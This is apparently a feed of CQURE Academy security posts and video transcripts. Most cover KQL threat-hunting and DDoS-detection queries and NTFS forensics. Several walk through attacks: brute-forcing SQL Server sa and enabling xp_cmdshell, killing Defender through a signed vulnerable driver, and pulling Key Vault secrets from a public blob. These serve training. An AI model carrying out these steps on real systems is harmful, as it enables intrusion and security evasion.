I’m going to show you eight essential queries that cover everything from daily baselining to advanced threat hunting. For each query, I’ll explain what it does, when to run it, and why it matters. Let’s jump right in.”

QUERY 1: Baseline Traffic Overview

First up – the morning routine. This daily traffic overview is what I run first thing every morning. It gives me a 10,000-foot view of what’s happening in my environment.

Here’s why this matters: you can’t spot anomalies if you don’t know your normal. This query shows me daily traffic volume, success rates, failed requests, intrusion attempts, and unique IPs. Look at these key outputs: Total Requests tells me if we’re experiencing unusual volume spikes. Success Rate shows if our services are healthy. Intrusion Attempts – this is my immediate attention flag.

I run this at 9 AM daily. If I see intrusion attempts doubled from yesterday, that’s my first investigation priority. Notice how I’m using a 1-day bin – perfect for daily trends. The key insight here: establish your baseline FIRST, then hunt for deviations.

QUERY 2: Top Attack Sources

Now, when Query 1 shows increased intrusions, I immediately pivot to this: Top Attack Sources. This isn’t a daily query – it’s an incident response query.

Look at what this gives me: the most active malicious IPs, when they first appeared, their last activity, attack types they’re using, target ports, and protocols. This is blocklist gold. See this ‘AttackTypes’ column using make_set()? That shows me all the different attack methods a single IP is using.

I run this after detecting increased intrusion activity. The output directly feeds into my firewall rules and threat intelligence. Notice I’m taking the top 20 – focus on the most impactful threats first. This query turns data into actionable intelligence for my response team.

QUERY 3: Failed Authentication Analysis

This is my go-to for suspicious authentication activity. Failed logins happen, but patterns of failed logins tell a story.

I run this during suspicious activity periods or when monitoring high-value accounts. Watch how I’m grouping by hour – perfect for spotting brute force patterns. The threshold here is key: FailureCount > 3. Adjust this based on your environment.

Look at these columns: Distinct Sources and Distinct Targets. If I see one source hitting many targets, that’s password spraying. Many sources hitting one target? That’s a targeted brute force. The CommonUserAgents field using take_any() gives me samples without overwhelming the output. This query finds what simple alerts miss.

QUERY 4: Port Scanning Detection

Port scanning is recon activity – attackers mapping your network. This continuous monitoring query looks for hosts scanning multiple ports in short timeframes.

The magic is in the time window: 15-minute bins. Why 15 minutes? It’s long enough to catch sustained scans but short enough to alert quickly. The port list here includes common scanning and backdoor ports – customize this for your environment.

Key threshold: PortsScanned >= 3. Scanning 3+ different ports in 15 minutes is suspicious. This query gives early warning – often before actual attacks begin. Run this continuously or every 30 minutes. It’s your early detection system.

QUERY 5: Botnet Command & Control Detection

This is advanced threat hunting. Botnets call home – we want to catch those calls.

I run this during proactive threat hunting or when investigating compromised systems. Look at the statistics here: median payload, 95th and 99th percentiles. Botnet C2 traffic often has distinctive payload sizes.

Grouping by User_Agent is key – many botnets have unique agents. The BotnetActivity > 3 threshold filters noise. This query isn’t just counting – it’s profiling. The percentile calculations help distinguish normal traffic from command traffic. Use this to find compromised systems before they cause damage.

QUERY 6: Protocol Anomaly Detection

This is my favorite for finding clever attackers. Protocol anomalies often indicate evasion techniques or data exfiltration.

The concept: combine protocol and port into a single field, then look for unusual patterns. HTTP on port 2222? SSH on port 443? Those get attention.

The join here compares normal traffic with known malicious traffic. The SuspicionScore uses a case statement to categorize risk. Notice how I’m looking for rare combinations (RequestCount < 10 and UniqueSources > 5) – that’s often discovery activity.

Run this weekly to establish what’s normal, then monitor deviations. This catches what signature-based detection misses.

QUERY 7: User Agent Analysis

Automated tools leave fingerprints in user agents. This query finds scanners and automated tools.

I run this regularly – at least weekly. The has_any operator looks for known tools: nmap, Nikto, curl, etc. But here’s the insight: not all tool usage is malicious. That’s why I calculate SuccessRate and IntrusionRate.

See a user agent with high tool usage but zero intrusions? Probably legitimate security testing. High tool usage with high intrusion rate? That’s an active attacker. The make_set() functions give me context without overwhelming detail. This query separates legitimate scanning from malicious reconnaissance.

QUERY 8: Internal Hosts Communicating Externally

Egress monitoring – catching data leaving your network. This shows which internal IPs are talking to external destinations.

The IP filter startswith “192.168” catches internal IPs – adjust for your subnet. The SuspicionIndex is clever: it weights intrusion attempts most heavily, then unique external IPs, then connection count.

Look for internal servers talking to many external IPs, or workstations sending large payloads outside. The PortsUsed and ProtocolsUsed columns using strcat_array() make the output readable. This catches data exfiltration, beaconing, and unauthorized external communications. Run this daily for critical assets.

Key takeaways

And there you have it – eight KQL queries that should be in every security analyst’s toolkit. Remember, the goal isn’t to write new queries every day, but to have reliable, reusable queries that let you focus on analysis, not syntax.

To recap: start with your daily baseline, drill down on attack sources when needed, monitor authentication patterns, watch for port scanning, hunt for botnets, check protocol anomalies, analyze user agents, and monitor egress traffic.

These queries work together as a system. Save them, customize them for your environment, and run them regularly. The time you save on typing is time you gain for thinking.

If you found this helpful, hit like and subscribe for more practical security content. What queries do you always keep handy? Share in the comments below. Thanks for watching, and stay secure!

Want to learn more about Threat Hunting?

Join our FREE live webinar:

Modern Threat Hunting with AI: 10 Skills for Detecting What Others Miss

Discover how AI is transforming threat hunting, learn advanced detection techniques, explore real-world attack scenarios, and gain practical skills that can help you uncover threats that traditional approaches often miss.

Register for free:
https://cqureacademy.com/webinar-modern-threat-hunting-with-ai-10-skills-for-detecting-what-others-miss/

Want to know more?

The post CQURE Hacks #81: The Ultimate KQL Query Toolkit for Threat Hunters and Security Analysts appeared first on CQURE Academy.

DDoS (Distributed Denial of Service) attacks remain one of the most common and disruptive cyber threats today. Instead of focusing on theory, this video walks you through realistic network data and shows how to identify attack patterns using powerful, real-time analytics.

What you’ll learn:

1. How to detect SYN flood attacks using connection timeouts and source IP patterns

2. How to identify volumetric (bandwidth) attacks through traffic spikes

3. How to uncover distributed attack behavior across multiple IPs and ports

4. How to build a comprehensive detection query combining multiple indicators

5. How to analyze geographic anomalies in attack traffic

Key takeaways:

1. DDoS detection is about recognizing patterns, not single events

2. Effective monitoring requires multiple analytical perspectives

3. KQL enables fast, scalable analysis across large datasets

4. Detection thresholds must be tailored to your environment

Best practices covered:

1. Baselining normal traffic

2. Creating alert rules in Azure

3. Enriching logs with threat intelligence

4. Automating responses with Azure services

5. Continuously tuning detection queries

Want to go deeper?

If you’re looking to build real-world threat hunting skills and take your cybersecurity expertise to the next level, check out the “Become a Hunter” module from CQURE Academy (CMAP 2026 – Module 6). This course expands on techniques like the ones shown here and helps you develop a structured, hands-on approach to detecting and investigating threats in modern environments:
https://cqureacademy.com/cyber-security-training/cmap-2026-module-6-become-a-hunter/

Whether you’re a security analyst, cloud engineer, or data professional, this video will give you practical techniques to improve your visibility into network threats.

Take these queries, adapt them to your environment, and start uncovering insights in your own data.

TRANSCRIPT

Good morning/afternoon everyone! Today, I’m excited to take you on a practical journey into the world of cybersecurity analytics. We’ll be exploring how to detect DDoS attack symptoms using Kusto Query Language (KQL).

For those unfamiliar, DDoS – or Distributed Denial of Service – attacks remain one of the most prevalent and disruptive cyber threats facing organizations today. These attacks overwhelm your network resources by flooding them with malicious traffic from multiple sources, effectively denying service to legitimate users.

But here’s the good news: with the right tools and queries, we can detect these attacks early and respond quickly. Azure Data Explorer, combined with KQL, gives us powerful capabilities to analyze network traffic patterns and identify anomalies that signal potential DDoS attacks.

Today, I’ll walk you through a realistic dataset of network events containing various DDoS symptoms. We’ll use KQL queries to uncover these patterns, and by the end of this session, you’ll have practical skills to implement similar monitoring in your own environments.

Synflood

“This query targets SYN flood attacks – one of the most common DDoS techniques. In a SYN flood, attackers send numerous TCP connection requests but never complete the handshake, leaving connections half-open and exhausting server resources.

Notice we’re filtering for ‘Timeout’ connection status – these are the failed or incomplete connections. We’re then summarizing by 5-second intervals and destination port.

The dcount function gives us the distinct count of source IPs. In a true DDoS, you’ll see many different IPs contributing to the timeouts.

We filter for intervals with more than 3 timeouts and sort descending.”

“Look at this pattern! We’re seeing clusters of timeouts on port 80 (HTTP) with multiple distinct IPs contributing. The 5-second windows with 5-6 timeouts from 5-6 different IPs is a classic SYN flood signature. Notice how these appear in bursts – this is the attack wave pattern.”

Volumetric

“Now we’re looking at volumetric attacks – when attackers try to consume all available bandwidth by sending massive amounts of data.

This query sums all bytes transferred (both sent and received) in 5-second windows, grouped by protocol. The threshold of 500,000 bytes (about 0.5 MB) in 5 seconds is our anomaly marker – normal traffic rarely reaches this level.

This type of query helps identify bandwidth saturation attacks where the goal is simply to flood the pipe.”

we see over 1.9 million bytes of TCP traffic. That’s nearly 2 MB in just 5 seconds, which is extremely high for a single server.

Notice this is all TCP traffic, and if we investigate further, we’d find these are the large 65,500-byte packets from Amsterdam. This is a classic example of a volumetric attack – the attackers aren’t trying to exploit vulnerabilities, just consume bandwidth.”

Multi

“This is perhaps our most important DDoS detection query. It identifies the core characteristic of a distributed attack: many different sources targeting the same destination port simultaneously.

We’re counting distinct source IPs per destination port in 5-second windows. When we see 4,5,6 different IPs all hitting the same port in a short window, that’s the ‘distributed’ part of DDoS.

This query would catch both the SYN flood on port 80 and the volumetric attack on port 443.”

“These results are telling a clear story. Look at port 80 – in multiple 5-second windows, we see 5-6 different attackers sending requests. That’s the SYN flood we identified earlier.

But also notice port 443 – in the 09:23:50 window, we have 5 distinct IPs all targeting HTTPS. These are the Amsterdam IPs with their large packets. Two different attack types, both caught by the same pattern: multiple sources, single target, concentrated time window.”

Comprehensive

“Now we’re getting sophisticated. This query combines multiple detection methods into a single comprehensive view.

The extend operator with a case statement creates a new column called ‘AttackIndicators’ that categorizes each event based on suspicious patterns:

Small packets (<=64 bytes) with timeout status suggest SYN flood

Extremely high bytes sent (>100,000) indicate bandwidth attacks

Unknown user agents with GET/POST requests point to botnets

We then filter out normal traffic and summarize by these attack indicators.”

“This is beautiful – we can now see the entire attack timeline at a glance. The SYN flood indicators cluster around 09:23:46-09:23:52, then the high bandwidth usage from Amsterdam appears at 09:23:50, followed by more SYN flood activity.

Notice how the bot activity indicator catches many of the suspicious requests with unknown user agents. This query essentially gives us a real-time attack dashboard.”

Geographic

Our final query looks at geographic patterns. In normal traffic, you expect a diverse, steady distribution of requests from various countries. During a DDoS attack, you might see sudden spikes from specific regions.

We’re counting requests by country in 15-second windows. When a single country suddenly produces a burst of traffic, it’s worth investigating – it could indicate a regional botnet activation.”

“Look at the pattern emerging. Russia shows multiple spikes throughout the timeline. China and India also have concentrated bursts. But notice how the Netherlands appears only during the volumetric attack window – 5 requests from the Netherlands in a 15-second period, all during the high-bandwidth attack.

This geographic lens helps us identify attack sources and potentially implement regional blocking if needed.”

Outro

“So what have we learned today? Let me share the key takeaways:

First, DDoS detection isn’t about finding a single ‘smoking gun’ – it’s about recognizing patterns. The queries we’ve explored look for different pieces of the puzzle: request frequency, connection status, bandwidth usage, port diversity, source distribution, and geographic anomalies.

Second, effective detection requires multiple perspectives. No single query catches everything. By combining these approaches, we build a comprehensive monitoring system.

Third, KQL in Azure Data Explorer gives us powerful, real-time analytics capabilities. These queries run in seconds against millions of records, enabling rapid detection and response.

Fourth, context matters. The thresholds we used (5 requests, 3 ports, 500,000 bytes) are examples. In your environment, you’ll need to baseline normal traffic and adjust these thresholds accordingly.”

“As you implement these queries in your own environments, keep these best practices in mind:

Start with baselining: Run these queries during normal operations to understand your typical traffic patterns before setting alert thresholds.

Create alert rules: Convert these queries into Azure Data Explorer continuous exports or connect them to Azure Monitor alerts for real-time notification.

Combine with other data: Enrich your network logs with threat intelligence feeds to identify known malicious IPs.

Automate responses: Consider integrating with Azure Logic Apps or Azure Functions to automatically trigger mitigations when attacks are detected.

Document and tune: Keep records of false positives and refine your queries over time. DDoS techniques evolve, so your detection should too.”

“Thank you all for your attention today. We’ve covered a lot of ground – from understanding DDoS attack patterns to writing sophisticated KQL queries that detect them in real-time.

Remember, in cybersecurity, visibility is power. The queries we’ve explored today give you that visibility into your network traffic. They transform raw log data into actionable intelligence.

I encourage you to take these queries, adapt them to your environment, and start exploring your own network data. You’ll be amazed at what you can discover.

Want to know more?

The post CQURE Hacks #80: Detecting DDoS Attacks in Real Time with KQL & Azure Data Explorer appeared first on CQURE Academy.

Starting with a simple inspection of a web application, we uncover an exposed Azure Blob Storage container with anonymous listing enabled. From there, we demonstrate how attackers can enumerate additional containers, discover sensitive internal information, and take advantage of blob versioning to recover deleted credential files.

The attack escalates quickly – by retrieving an old version of a Service Principal credential file, we gain authenticated access to Azure resources and ultimately extract secrets from a Key Vault, including administrative and database credentials. This video highlights how small oversights, like public container access combined with versioning, can create serious security risks in cloud environments.

If you want to learn how to identify, exploit, and most importantly secure these kinds of cloud misconfigurations, check out the Live Virtual Cybersecurity Training: Entra ID (Azure AD) from CQURE Academy https://cqureacademy.com/cyber-security-training/lvc-entra-id/

This hands-on course dives deep into real attack paths, identity security, and defensive techniques used by professionals, giving you practical skills you can apply immediately in your own environment.

Stay secure and don’t forget to share, and follow for more CQURE Hacks!

Want to know more?

The post CQURE Hacks #79: Azure Storage Misconfiguration in Practice From Public Blob to Key Vault Access appeared first on CQURE Academy.

Traditional SOC workflows are slow, relying on manual log reviews and reactive alerting that often leaves you one step behind. When malware hides in encrypted payloads or fileless scripts, standard signatures simply aren’t enough.

In this episode, we move beyond basic searches to implement three powerful queries designed to speed up your analysis:

1. Behavioral Anomaly Detection: Using Time-Series Analysis to establish personal baselines for every IP and protocol. By using statistical Z-scores, we find the “unknown unknowns” that traditional thresholds miss.

2. Predictive Alerting: Implementing machine learning features to calculate multi-dimensional risk scores. This allows you to prioritize the riskiest hosts instead of just the noisier ones.

3. Automated Attack Chain Reconstruction: Using the “serialize” and “next” operators to connect fragmented events into a single, chronological story.

These techniques turn a timeline of raw events into a clear attack campaign. Instead of investigating individual alerts, you see the full progression of the threat, reducing investigation time from hours to minutes.

Master the Full Malware Workflow

Malware rarely arrives as an obvious executable. It hides in macros, encrypted payloads, and fileless scripts that live entirely in memory—leaving no trace on disk for traditional scanners.

Investigating these threats requires two complementary approaches: Static Analysis to examine a file’s structure without executing it, and Dynamic Analysis to monitor its behavior in a controlled environment.

In Module 5 of the Cybersecurity Master Annual Program, “Malware Investigation & YARA Rules,” led by Amr Thabet (Cybersecurity Expert & Malware Researcher, and Author of the book “Mastering Malware Analysis”), you will learn to build the full workflow. From identifying indicators to writing custom YARA rules tuned for your specific environment, this is how you bridge the gap between detection and deep investigation. Join the 1-day course this Thursday, April 16:

Check out our hands-on training: https://cqureacademy.com/cyber-security-training/cmap-2026-module-5-malware-investigation-yara-rules/

TRANSCRIPT

Hey everyone, welcome back. If you work in cybersecurity, you know the feeling. Drowning in Lux, chasing alerts, and feeling like you’re always one step behind the attackers. Traditional sock workflows can be painfully slow, relying on manual luxury reviews and reactive alerting. But what if I told you there’s a better way?

Today, we are diving into free advanced KQL queries that can help you analyse security data faster than most SoC teams. We are going beyond the basic searches to show you how to use behavioral anomaly detection using time series analysis, predictive alerting with machine learning, and something most of you were waiting for: automated attack chain reconstruction.

I will be using real network logs showing you exactly how to implement these techniques. Whether you are a security analyst, engineer, or just interested in cybersecurity analytics, just stick around. This could change how you approach threat hunting forever.

Query 1: Behavioral Anomaly Detection

Let’s start the behavioral anomaly detection using time service analysis. This query establishes a normal baseline for each source, IP, port, and protocol combination during June 1st to June 3rd and then it checks June 4th to June 6th data against that baseline using statistical Z scores to find anomalies. Why? It’s faster than traditional methods. No signatures are required. Traditional SOCs rely on known attack patterns or signatures.

This query finds unknown attacks by looking for statistical outliers. Personal baselines. Each IP, port, or protocol gets its own baseline. For example, a web server sending to mex. This is normal, but a DNS server doing it may be highly suspicious. Traditional thresholds. Alerts thread all systems the same maths precision instead of arbitrary thresholds like alert if payload bigger than, for example, 10 megs. This uses standard deviation, so a 3.5 Z score means the event is in the top of 0.02% of expected behavior. Proactive detection.

This one catches data acceleration command and control traffic or malware downloads before they complete, based on statistical anomalies in payload size. In traditional SOC, they get alerts for large file transfers but ignore them because thresholds are set too low, for example, false positives or simply means real exfiltration, because thresholds are too high in our method, a mathematical adaptive baseline that reduces both false positives and false negatives.

Query 2: Predictive Alerting

Let’s move out to predictive alerting with machine learning features. This query calculates a risk score for each source IP based on multiple behavioral features, then prioritizes investigation based on those scores. Why? It’s faster than traditional methods.

First of all, multi-dimensional scoring in traditional SOC alerts may be on too many file logins, port scanning, and so on. But this query combines 8 different features into one risk score. Weighted importance. Notice the weights of unique ports times 0.2 or unique destinations for the same. Scanning many ports and many destinations is worse than just one. Traditional binary alerts miss these nuances. Tool detection.

The query automatically identifies scanning tools like Nmap attack tools, curl, wejet and many different user agents, something which many SOCKS may overlook. What about focus optimization? Top 30 by risk or description? And Azure’s analysts investigate the riskiest host, not the 30 noises or the most recent explainable AI. Unlike black box ML models, you can see exactly how the risk score was calculated. This IP scored 6.8 because it scanned 15 ports plus targeted 8 destinations, plus use nmap and so on. In traditional SOC, it may be inefficient.

Analysts start their day with 200 hours or even more. Investigate randomly or chronically, often wasting time on minor issues with major threats. Wait in our method tells the analyst exactly where to start for maximum impact.

Query 3: Automated Attack Chain Reconstruction

Now let’s have a look at attack chain reconstruction. This is one of the most powerful queries because it doesn’t just find individual attacks; it sequences them into campaigns. Traditional socks say individual alerts. This query shows you the complete attack story. Let’s break out.

First, we filter our data. Look for actual attacks by checking scan type, which gives you both attack and port scan events. We select only the fields we need, and order by attacker IP and timestamp. This chronological ordering is crucial for seeing attack progression. Here is where the magic happens. Surrealize operator preserves raw order.

Then we use the next to look at the next row in sequence, and we filter the quip on the rows where the same attacker appears in consecutive events. Calculate time gaps between attacks. Why does this beat manual analysis? Traditional socks might see this as separate alerts. Our support for this query connects them as one continuous campaign. Now we summarize into an attack campaign. Make a list to create a chronological list of each attack. We calculate totals, time span, and unique targets, and produce all grouped by attackers and attack type. We filter for campaigns with at least two attacks showing sustained effort. Rename columns for clarity and order by total attacks to show the most active attackers first. Why is this revolutionary? Traditional SoC workflow. Another bot attack from IPX, two hours later, alert 2, but an attack from the same IPX. Analysts probably investigate them separately, never connecting them as one campaign. It’s just a waste of time. If a peace meal investigation in our KQL method, one query shows IPX conducted 15, but attack attempts over 4 hours. Again, 8 targets. Complete story in seconds. Analysts understand the scope immediately.

Let’s check the real-world impact check. For example, IP 3.222.94.132. It conducted multiple bot attack attempts across different ports and targets. A traditional SIM would show this as six separate alerts. Our query shows it’s one coordinated campaign. The attack campaign column literally writes the incident report for you, for example, SSH to 114.115.29.125 on port 8080 or SNMP to 11411529.125 on the same 8080 port. You can see the attacker trying different services on the same target. There are a lot of key advantages over traditional methods. Context preservation, so not just that an attack happened, but how it progressed. Time intelligence so calculates the exact time span between attack steps.

Target analysis shows how many different systems were targeted. Port patrol recognition can reveal if attackers are focusing on specific services. The campaign identification group relates attacks that might be ours apart. This isn’t just about finding attacks faster; it’s simply about understanding them better. When you see an attack company, instead of individual alerts, you can prioritize better, respond smarter, investigate deeper, and report accurately. Simply provide management with Campaign 11 intelligence.

The Serialize and Next functions are secret weapons here. It’s quite easy, but they turn a timeline of events into a story of an attack, and stories are what humans understand the best, not rough data points. Now that we can sequence attacks, how do we know which ones to investigate first? That’s where the new query comes in.

That’s it. Three powerful KQL queries that can dramatically speed up your security analysis. Remember, it’s not just about finding threats faster; it’s about finding the right threats first.

The key takeaways from today:

1. Use behavioral baselines to find anomalies before they become incidents.

2. Reconstruct attack sequences to understand the full picture.

3. Prioritize with risk scoring to focus on what matters most.

These techniques can reduce investigation time from hours to minutes, but the real power comes from combining them into a cohesive strategy. What next? Try implementing one of these queries in your environment this week. If you want more content like this, make sure to hit that subscribe button and ring the bell so you don’t miss our next deep dive. Bye.

Want to know more?

The post CQURE Hacks #78: 3 Advanced KQL Queries for Faster Security Analysis appeared first on CQURE Academy.

Starting from an exposed SQL Server instance, we demonstrate how weak credentials can be exploited to gain access using a brute-force attack. Once authenticated as the powerful sa account, the attack quickly escalates beyond the database.

We show how an attacker can:

• Validate access to the SQL Server instance
• Enable dangerous features like xp_cmdshell
• Execute operating system commands directly from SQL
• Pivot from database access to full OS-level control
• Create administrative users and completely compromise the machine

This episode highlights how small security gaps — like weak passwords and excessive privileges — can lead to catastrophic consequences.

Want to learn how to both exploit and defend against attacks like this in real environments?

Check out our hands-on training:

https://cqureacademy.com/cyber-security-training/lvc-hacking-and-securing-windows-infrastructure/

In this course, you’ll dive deep into attacking and securing Windows infrastructure, understanding real attack paths, and building practical defensive skills that go far beyond theory.

Secure Your Spot here

Key takeaways:

• Always enforce strong authentication
• Avoid exposing database services to the internet
• Follow the principle of least privilege
• Disable or restrict dangerous features like xp_cmdshell

Because in real environments… this isn’t just theory — it’s a real attack path.

If you found this useful, don’t forget to like, subscribe, and share!

TRANSCRIPT

[Intro]

Welcome to Cqure Hacks,

In today’s episode, we’re looking at how an exposed SQL Server, combined with weak credentials, can give an attacker complete control over a machine.

[Phase 1 – Initial Access]

We begin on a Kali Linux machine.
The target is a SQL Server instance exposed to the network.

Using a dictionary-based brute-force attack, we attempt to guess credentials for the SQL service.

We recover valid credentials for the sa account – the built-in SQL Server administrator.

Weak passwords on exposed services are often all an attacker needs.

[Phase 2 – Authentication & Access Validation]

With credentials in hand, we switch to SQL Server Management Studio.

Windows authentication is restricted…
but SQL Server authentication using the compromised sa account works perfectly.

At this point, the attacker has full administrative access to the database.

[Phase 3 – Post-Exploitation Begins]

Now the real escalation starts.

Inside SQL Server, we open a new query window and attempt to execute operating system commands.

Initially, this functionality is disabled.

However, because we are logged in as sa, we can modify server configuration.

We enable advanced options…
and activate extended stored procedures that allow command execution.

[Phase 4 – Command Execution]

With that in place, we execute simple system commands.

This confirms two things:

• We have access to the underlying operating system
• And SQL Server is running with high privileges

This is a critical pivot point, we are no longer limited to the database.

[Phase 5 – Full System Compromise]

We create a new local user directly from SQL Server.

Then… we add that user to the local administrators group.

At this stage, the attacker has completely compromised the machine.

What started as a database login…
has now become full operating system control.

[Conclusion – Key Takeaways]

So why did this attack work?

• Weak credentials on a critical account
• Exposed SQL Server service
• Excessive privileges
• And dangerous features enabled without restriction

This is exactly why least privilege, strong authentication, and proper hardening are essential.

Because in real environments…
this isn’t just a demo — it’s a real attack path.

[Outro]

Thanks for watching Cqure Hacks.
Stay secure… and see you in the next episode.

Want to know more?

The post CQURE Hacks #77: From SQL Login to Full System Compromise appeared first on CQURE Academy.

Setting up an EDR is a good first step, but simply having it installed doesn’t mean you’re protected. Many organizations rely on default settings, assuming the tools handle everything automatically. 

However, modern attackers know exactly how to work around those standard configurations. If your endpoints are invisible to your security team, or if your protection rules aren’t tuned to your specific environment, you’re leaving gaps that are easy to exploit. 

The Experiment: Turning the Shield Into a Sieve 

In this demo, we start with a properly secured system where Microsoft Defender is fully enabled. To prove it’s working, we run a malicious script, which Defender immediately flags and blocks. 

But what happens when we introduce a “trusted” element? We download a vulnerable driver that is properly signed by the Microsoft Windows Hardware Compatibility Publisher. Because it’s signed, the operating system trusts it. 

By using the Service Control Manager (sc.exe), we create a kernel-mode service to load this driver. Once the driver is in the kernel, we run a custom process-killer script. The result? Defender-related processes like MsMpEng.exe and NisSrv.exe are terminated. The security icon vanishes from the taskbar, and our malicious code now runs completely undetected. 

This highlights a critical reality: to stay ahead, you need to turn your security tools from a basic installation into a hardened shield that actually responds to threats.  

Why “Default” Settings are Your Biggest Security Debt 

Most security breaches aren’t the result of a lack of tools, but a lack of visibility and hardening. Attackers thrive in the gap between “installed” and “optimized.” When you rely on default configurations, you are essentially using a map that the attackers have already memorized. 

To move from a reactive state to a proactive defense, you must understand the “Language of the Kernel.” You need to know not just how to install Defender, but how to make it “blindness-proof” by automating hardening and mastering advanced threat hunting. 

Stop being a target of opportunity. Bridge the gap between basic administration and elite security architecture. 

Join our upcoming 3-day Masterclass: Configuring and Managing Microsoft Defender for Endpoint, starting April 8th. 

Led by CQURE’s Cybersecurity Expert Norbert Krzepicki, this is a “hands-on-keyboard” intensive designed for those who cannot afford to leave their environment to chance. You will move past the defaults, learn to automate EDR hardening with 3rd party tools, and master Kusto for advanced hunting to catch attackers before they can pull the plug on your defenses. 

Secure Your Spot here

TRANSCRIPT

Welcome to the new episode of Secure hacks, in today’s short episode we are going to create “malicious driver 1 binpath” and then we point to the file that will be loaded when the service starts. 

We’re going to take a look at how a driver, that is not on Microsoft’s driver blocklist can be abused to interfere with Microsoft Defender. 

 As you can see, Microsoft Defender is fully enabled and the protection options are turned ON. This is important as we want to clearly demonstrate the before-and-after effect. 

Now let’s download two things: a vulnerable driver that is not currently included in Microsoft’s driver blocklist and a script that searches for specific process names and terminates them. These will help us demonstrate how a legitimate, signed driver can be misused.  

I will unzip the downloaded archive and move the files into a convenient working directory so we can easily access them later. 

Before doing anything else, let’s confirm that Defender is actively protecting the system. I’ll run the Invoke-Shellcode command in PowerShell. And as expected — Defender immediately detects the script as malicious and blocks it. This confirms real-time protection is functioning correctly. 

Now let’s inspect the driver. I’ll open the file properties and navigate to Digital Signatures. Here we can see that the driver is properly signed — which makes it trusted by the operating system. That’s a key detail. 

Next, let’s load this driver. I’ll change the directory to where the driver file is located and use the service control manager to create a new Windows service entry. 

so SC.exe create MaliciousDriver1 binpath and then we point to the file that will be loaded when the service starts. 

type kernel tells Windows this is a kernel-mode driver, not a normal user-mode service. 

Now let’s start the service. Next we will compile our process killer tool using cargo build release. 

After compilation, let’s navigate to the newly created directory and launch our script, it will run for a few moments. 

Now let’s try running Invoke-Shellcode again. This time, it is no longer flagged as malicious and it’s not being blocked like before. 

Also, the Defender icon disappears from the taskbar. 

Finally, let’s check Task Manager. We’ll look for Defender-related processes such as: MsMpEng.exe, NisSrv.exe, MpCmdRun.exe 

And as you can see they’re no longer running. This demonstrates how a signed driver can be abused to disable security protections at the kernel level. 

It also highlights why maintaining and enforcing driver blocklists, and keeping systems updated, is critical.

Want to know more?

The post CQURE Hacks #76: Evading EDR Using Signed Driver appeared first on CQURE Academy.

When you remove a file in Windows, the operating system marks the space as available, but the data often stays behind. By using Sleuthkit’s fls tool and MFTECmd, we can bypass the GUI to read the Master File Table directly. 

This allows us to see deleted entries and even track the source URL via the Zone.Identifier stream. One of the most critical findings in this demonstration is the behavior of resident files. 

Small files under 700 bytes are stored entirely within the MFT record itself rather than separate disk clusters. Because the MFT is allocated space, standard free space wipes only target unallocated clusters, leaving resident data completely untouched and functional for recovery. 

This demonstration highlights several critical forensic principles:

• Deleting a file does not erase it. 

• NTFS keeps metadata in the Master File Table. 

• The USN Journal records change events. 

• Free space wiping does not affect allocated structures. 

• Resident files stored inside the MFT can survive wipe operations. 

• The operating system shows what is allocated. 

• Forensics shows what still exists. 

Want to go deeper?

Take your technical skills to the next level with our 4-day intensive course: Windows Security and Infrastructure Management with Windows Internals, starting on March 23rd or June 15th. This 28-hour deep dive is designed to turn IT professionals into elite security practitioners by uncovering the inner workings of the Windows OS. 

The program provides a complete view of the system’s architecture – from process and thread management to the complexities of memory analysis and storage. You will gain a strategic understanding of system security mechanisms, startup and shutdown sequences, and layered network services. By mastering infrastructure security solutions and event tracing, you’ll be able to identify points of entry and manage complex enterprise environments with precision. 

The masterclass is led by Amr Thabet, a malware researcher and founder of MalTrak with over 12 years of experience working with Fortune 500 companies. He is a recognized industry expert and author of Mastering Malware Analysis, dedicated to helping professionals build expertise in threat hunting and protecting organizations from targeted attacks. 

Secure Your Spot here

TRANSCRIPT

In this demonstration, we’ll analyze a mounted VHD attached as drive X:, labeled CQ_Demo. 

We’ll simulate a small forensic investigation to show that deleted does not mean destroyed — and even wiping free space may not eliminate evidence. 

First, I’ll open C:\Evidence\Recovery to show it’s completely empty. This is where any recovered artifacts will be placed. Now under This PC, we can see the mounted drive: CQ_Demo (X:). 

The drive is empty to begin with — no user files present. The USN Change Journal is currently not active. The USN Journal is an NTFS feature that logs file system changes — such as file creation, modification, and deletion. 

Instead of asking Windows, we ask NTFS directly using Sleuthkit’s fls tool. This reads the Master File Table — the core structure of NTFS. There are no deleted user files at this stage. 

I’m enabling the USN Journal; this ensures file activity will be logged going forward. The journal is successfully created, and from now on, file operations on this volume will generate USN entries. Here we have cqureAcademylogo.svg, let’s open it. This is just an image file. Nothing special — but it will represent our ‘evidence’. Let’s copy and paste it into our CQ_Demo drive. The file is present and fully visible on the volume. 

Let’s remove it using the Remove-Item command. From the operating system perspective, the volume is clean again, but forensic analysis doesn’t stop at what the OS GUI shows. We extract both the Master File Table and the USN Journal using MFTECmd. The MFT contains metadata for every file on the volume — including deleted ones. 

Scrolling down, we can see references to the file name and even the source URL stored in the Zone.Identifier alternate data stream. Now in the USN Journal output, at the bottom, we see a FileDelete operation for cqureAcademylogo.svg. 

This gives us timeline evidence: the file was created and deleted. Now we enumerate deleted entries. Here we see the deleted file — and its alternate data stream, Zone.Identifier. That alternate stream stores metadata about downloaded files, such as their source. 

The first number — 39 in this example — is the MFT record number, also called the inode. Using istat, we inspect the MFT record. Even though the file is deleted, its metadata remains in the MFT. 

Now let’s recover the file. And the file is fully recovered and functional. 

Deleting a file in NTFS simply marks its MFT record as free, but the data remains until it’s overwritten. Now I’ll create ten small text files and remove them. This overwrites all unallocated clusters with zeros, ones, and random data. Many believe this destroys deleted files completely. Despite wiping free space, the deleted files still appear in the MFT. 

Here’s the key detail: this file is resident. Small files, typically under around 700 bytes, can be stored entirely inside the MFT record itself; they do not use separate disk clusters, and the MFT itself is allocated space. 

The wipe operation only overwrites unallocated clusters, so resident data survives a free space wipe. The content is fully intact. 

This demonstration highlights several critical forensic principles: 

Deleting a file does not erase it. 

NTFS keeps metadata in the Master File Table. 

The USN Journal records change events. 

Free space wiping does not affect allocated structures. 

Resident files stored inside the MFT can survive wipe operations. 

The operating system shows what is allocated. 

Forensics shows what still exists.

Want to know more?

The post CQURE Hacks #75: NTFS Forensics – Recovering Deleted Files and Analyzing MFT Records appeared first on CQURE Academy.

We’re diving into a classic but devastatingly effective exploit path. Many organizations leave their SQL Servers vulnerable through a combination of three simple misconfigurations: a database set to “trustworthy,” an owner with sysadmin rights (like SA), and a low-privilege user with db_owner permissions.

By abusing these settings, an attacker can create a stored procedure that executes in the context of the database owner. We’re showing you exactly how to identify these “trustworthy” databases using netexec and impacket, and then demonstrate how to inject a login into the sysadmin role.

Secure Your Spot: Hacking and Securing SQL Server Live Virtual Class

